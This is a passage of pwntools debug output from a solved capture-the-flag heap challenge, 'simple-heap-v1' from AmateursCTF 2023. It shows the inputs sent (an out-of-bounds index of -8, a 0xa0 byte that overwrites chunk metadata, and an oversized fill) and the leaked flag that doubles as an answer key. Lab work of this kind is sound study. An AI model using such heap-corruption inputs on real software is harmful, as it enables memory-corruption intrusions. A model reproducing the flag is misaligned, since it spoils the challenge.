b'data: ' [DEBUG] Sent 0x10 bytes: b'B' * 0x10 /home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendlineafter(':', str(index)) [DEBUG] Received 0x22 bytes: b'BBBBBBBBBBBBBBBB is not the flag.\n' [DEBUG] Received 0x2e bytes: b"I'll also let you change one character\n" b'index: ' [DEBUG] Sent 0x3 bytes: b'-8\n' [DEBUG] Received 0xf bytes: b'new character: ' [DEBUG] Sent 0x2 bytes: 00000000 b0 0a │··│ 00000002 /home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:37: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendlineafter(':', str(0xa0)) [DEBUG] Received 0x22 bytes: b'BBBBBBBBBBBBBBBB is not the flag.\n' [DEBUG] Received 0x23 bytes: b'Last chance to guess my flag\n' b'size: ' [DEBUG] Sent 0x4 bytes: b'160\n' [DEBUG] Received 0x6 bytes: b'data: ' [DEBUG] Sent 0xa0 bytes: b'C' * 0xa0 [*] Switching to interactive mode [DEBUG] Received 0xb2 bytes: b'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCflag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC is not the flag.\n' CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCflag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC is not the flag. [DEBUG] Received 0x20 bytes: b'munmap_chunk(): invalid pointer\n' munmap_chunk(): invalid pointer [*] Got EOF while reading in interactive
Flag: flag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}